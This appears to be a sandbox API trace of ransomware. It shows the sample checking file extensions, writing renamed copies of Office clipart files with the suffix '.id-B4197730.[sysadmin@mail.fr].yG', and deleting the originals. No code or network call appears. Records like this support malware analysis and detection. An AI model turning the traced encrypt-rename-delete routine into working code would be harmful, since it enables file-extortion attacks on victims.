	[0151.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.846] lstrlenW (lpString=".rar") returned 4
	[0151.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.846] lstrlenW (lpString=".bz2") returned 4
	[0151.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.846] lstrlenW (lpString=".7z") returned 3
	[0151.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.846] lstrlenW (lpString=".dbf") returned 4
	[0151.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.846] lstrlenW (lpString=".1cd") returned 4
	[0151.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.846] lstrlenW (lpString=".jpg") returned 4
	[0151.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.847] lstrlenW (lpString=".doc") returned 4
	[0151.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.847] lstrlenW (lpString=".docx") returned 5
	[0151.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.847] lstrlenW (lpString=".pdf") returned 4
	[0151.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.847] lstrlenW (lpString=".xls") returned 4
	[0151.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.847] lstrlenW (lpString=".xlsx") returned 5
	[0151.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.847] lstrlenW (lpString=".ppt") returned 4
	[0151.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.847] lstrlenW (lpString=".zip") returned 4
	[0151.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.847] lstrlenW (lpString=".rar") returned 4
	[0151.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.847] lstrlenW (lpString=".bz2") returned 4
	[0151.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.847] lstrlenW (lpString=".7z") returned 3
	[0151.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.848] lstrlenW (lpString=".dbf") returned 4
	[0151.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.848] lstrlenW (lpString=".1cd") returned 4
	[0151.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.848] lstrlenW (lpString=".jpg") returned 4
	[0151.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.848] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.848] lstrlenW (lpString="IN00177_.WMF") returned 12
	[0151.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.849] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=1074) returned 1
	[0151.849] CloseHandle (hObject=0x52c) returned 1
	[0151.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220
	[0151.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.850] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.850] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0153.215] GetLastError () returned 0x0
	[0153.215] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x432, lpOverlapped=0x0) returned 1
	[0153.217] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x440, lpOverlapped=0x0) returned 1
	[0153.218] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.218] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.218] SetEndOfFile (hFile=0x550) returned 1
	[0153.223] CloseHandle (hObject=0x550) returned 1
	[0153.223] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.223] SetEndOfFile (hFile=0x52c) returned 1
	[0153.227] CloseHandle (hObject=0x52c) returned 1
	[0153.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1
	[0153.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.230] lstrlenW (lpString=".doc") returned 4
	[0153.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.230] lstrlenW (lpString=".docx") returned 5
	[0153.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.230] lstrlenW (lpString=".pdf") returned 4
	[0153.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.230] lstrlenW (lpString=".xls") returned 4
	[0153.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.230] lstrlenW (lpString=".xlsx") returned 5
	[0153.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.230] lstrlenW (lpString=".ppt") returned 4
	[0153.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.231] lstrlenW (lpString=".zip") returned 4
	[0153.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.231] lstrlenW (lpString=".rar") returned 4
	[0153.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.231] lstrlenW (lpString=".bz2") returned 4
	[0153.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.231] lstrlenW (lpString=".7z") returned 3
	[0153.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.231] lstrlenW (lpString=".dbf") returned 4
	[0153.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.231] lstrlenW (lpString=".1cd") returned 4
	[0153.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.231] lstrlenW (lpString=".jpg") returned 4
	[0153.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.231] lstrlenW (lpString=".doc") returned 4
	[0153.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.231] lstrlenW (lpString=".docx") returned 5
	[0153.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.231] lstrlenW (lpString=".pdf") returned 4
	[0153.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.232] lstrlenW (lpString=".xls") returned 4
	[0153.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.232] lstrlenW (lpString=".xlsx") returned 5
	[0153.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.232] lstrlenW (lpString=".ppt") returned 4
	[0153.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.232] lstrlenW (lpString=".zip") returned 4
	[0153.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.232] lstrlenW (lpString=".rar") returned 4
	[0153.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.232] lstrlenW (lpString=".bz2") returned 4
	[0153.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.232] lstrlenW (lpString=".7z") returned 3
	[0153.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.232] lstrlenW (lpString=".dbf") returned 4
	[0153.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.232] lstrlenW (lpString=".1cd") returned 4
	[0153.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0153.232] lstrlenW (lpString=".jpg") returned 4
	[0153.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.233] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.233] lstrlenW (lpString="IN00957_.WMF") returned 12
	[0153.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0153.233] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2944) returned 1
	[0153.233] CloseHandle (hObject=0x52c) returned 1
	[0153.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220
	[0153.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0153.234] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.234] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0153.235] GetLastError () returned 0x0
	[0153.235] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xb80, lpOverlapped=0x0) returned 1
	[0153.237] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xb90, lpOverlapped=0x0) returned 1
	[0153.238] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.238] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.238] SetEndOfFile (hFile=0x550) returned 1
	[0153.238] CloseHandle (hObject=0x550) returned 1
	[0153.239] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.239] SetEndOfFile (hFile=0x52c) returned 1
	[0153.241] CloseHandle (hObject=0x52c) returned 1
	[0153.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1
	[0153.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.243] lstrlenW (lpString=".doc") returned 4
	[0153.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.243] lstrlenW (lpString=".docx") returned 5
	[0153.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.243] lstrlenW (lpString=".pdf") returned 4
	[0153.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.243] lstrlenW (lpString=".xls") returned 4
	[0153.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.243] lstrlenW (lpString=".xlsx") returned 5
	[0153.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.243] lstrlenW (lpString=".ppt") returned 4
	[0153.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.243] lstrlenW (lpString=".zip") returned 4
	[0153.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.244] lstrlenW (lpString=".rar") returned 4
	[0153.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.244] lstrlenW (lpString=".bz2") returned 4
	[0153.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.244] lstrlenW (lpString=".7z") returned 3
	[0153.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.244] lstrlenW (lpString=".dbf") returned 4
	[0153.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.244] lstrlenW (lpString=".1cd") returned 4
	[0153.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.244] lstrlenW (lpString=".jpg") returned 4
	[0153.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.244] lstrlenW (lpString=".doc") returned 4
	[0153.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.245] lstrlenW (lpString=".docx") returned 5
	[0153.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.245] lstrlenW (lpString=".pdf") returned 4
	[0153.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.245] lstrlenW (lpString=".xls") returned 4
	[0153.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.245] lstrlenW (lpString=".xlsx") returned 5
	[0153.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.245] lstrlenW (lpString=".ppt") returned 4
	[0153.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.245] lstrlenW (lpString=".zip") returned 4
	[0153.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.245] lstrlenW (lpString=".rar") returned 4
	[0153.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.245] lstrlenW (lpString=".bz2") returned 4
	[0153.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.245] lstrlenW (lpString=".7z") returned 3
	[0153.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.245] lstrlenW (lpString=".dbf") returned 4
	[0153.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.245] lstrlenW (lpString=".1cd") returned 4
	[0153.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0153.245] lstrlenW (lpString=".jpg") returned 4
	[0153.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.246] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0153.246] lstrlenW (lpString="J0075478.GIF") returned 12
	[0153.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0153.247] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=1220) returned 1
	[0153.247] CloseHandle (hObject=0x52c) returned 1
	[0153.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220
	[0153.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0153.247] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.248] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0153.248] GetLastError () returned 0x0
	[0153.248] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4c4, lpOverlapped=0x0) returned 1
	[0153.562] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4d0, lpOverlapped=0x0) returned 1
	[0153.563] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.563] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.563] SetEndOfFile (hFile=0x550) returned 1
	[0153.563] CloseHandle (hObject=0x550) returned 1
	[0153.563] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.564] SetEndOfFile (hFile=0x52c) returned 1
	[0153.567] CloseHandle (hObject=0x52c) returned 1
	[0153.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1
	[0154.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.158] lstrlenW (lpString=".doc") returned 4
	[0154.158] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0154.158] lstrlenW (lpString=".docx") returned 5
	[0154.158] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0154.158] lstrlenW (lpString=".pdf") returned 4
	[0154.158] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0154.158] lstrlenW (lpString=".xls") returned 4
	[0154.158] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0154.159] lstrlenW (lpString=".xlsx") returned 5
	[0154.159] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0154.159] lstrlenW (lpString=".ppt") returned 4
	[0154.159] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0154.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.159] lstrlenW (lpString=".zip") returned 4
	[0154.159] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
